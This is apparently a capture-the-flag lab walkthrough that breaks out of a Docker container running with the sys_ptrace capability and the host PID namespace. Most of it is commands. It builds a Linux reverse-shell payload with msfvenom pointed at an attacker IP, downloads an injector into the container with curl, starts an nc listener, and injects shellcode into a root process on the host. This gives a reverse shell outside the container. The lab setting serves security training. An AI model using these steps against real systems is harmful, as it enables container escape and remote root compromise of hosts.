Attacking Container Capabilities

In this scenario we will exploit a container with sys_ptrace capability running with host PID namespace. We will exploit these to breakout of the container and access the host system. We assume that the attacker already has access to the container for this scenario.

• Login to the container using below command. Ensure that you run this in the CTF vm

docker exec -it sysmon bash

• Check for existing capabilities by running capsh --print

• Also the container has enabled --pid=host so we can access then host process using top command

Since an attacker can list host processes and has the sys_ptrace capability. Attacker can exploit this scenario to inject and execute code from the address space of any host process. This effectively results in a docker escape as the attacker can execute code outside the container.

Steps to attack

• Generate reverse shell payload using metasploit's msfvenom program. Replace the 192.168.56.3 with student vm IP address.

cd /home/student/linux-injector

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.3 LPORT=4444 -f raw -o payload.bin

• Send the exploit and injector program to the container using simple python server. Run the below command in student vm

cd /home/student
tar -czf linux-injector.tar.gz linux-injector
python -m SimpleHTTPServer 8002

• Download the payload in the ctf vm container. Run the below command in the CTF vm and inside the sysmon container. Ensure you replace the 192.168.56.3 with your student vm IP

curl -o linux-injector.tar.gz http://192.168.56.3:8002/linux-injector.tar.gz
tar xzf linux-injector.tar.gz
cd linux-injector
chmod 755 injector

• Start the nc listener to receive the connect back shell in student vm. Run the following command in student VM

nc -lvp 4444

• Now identify the process, which is running as root in the host system to gain root access for connect back. Run the following command inside CTF vm sysmon container

ps auxx | grep root | grep ping

./injector 2046 payload.bin

• On successful injection of payload, we get a reverse connection at our listener with access to host system outside the container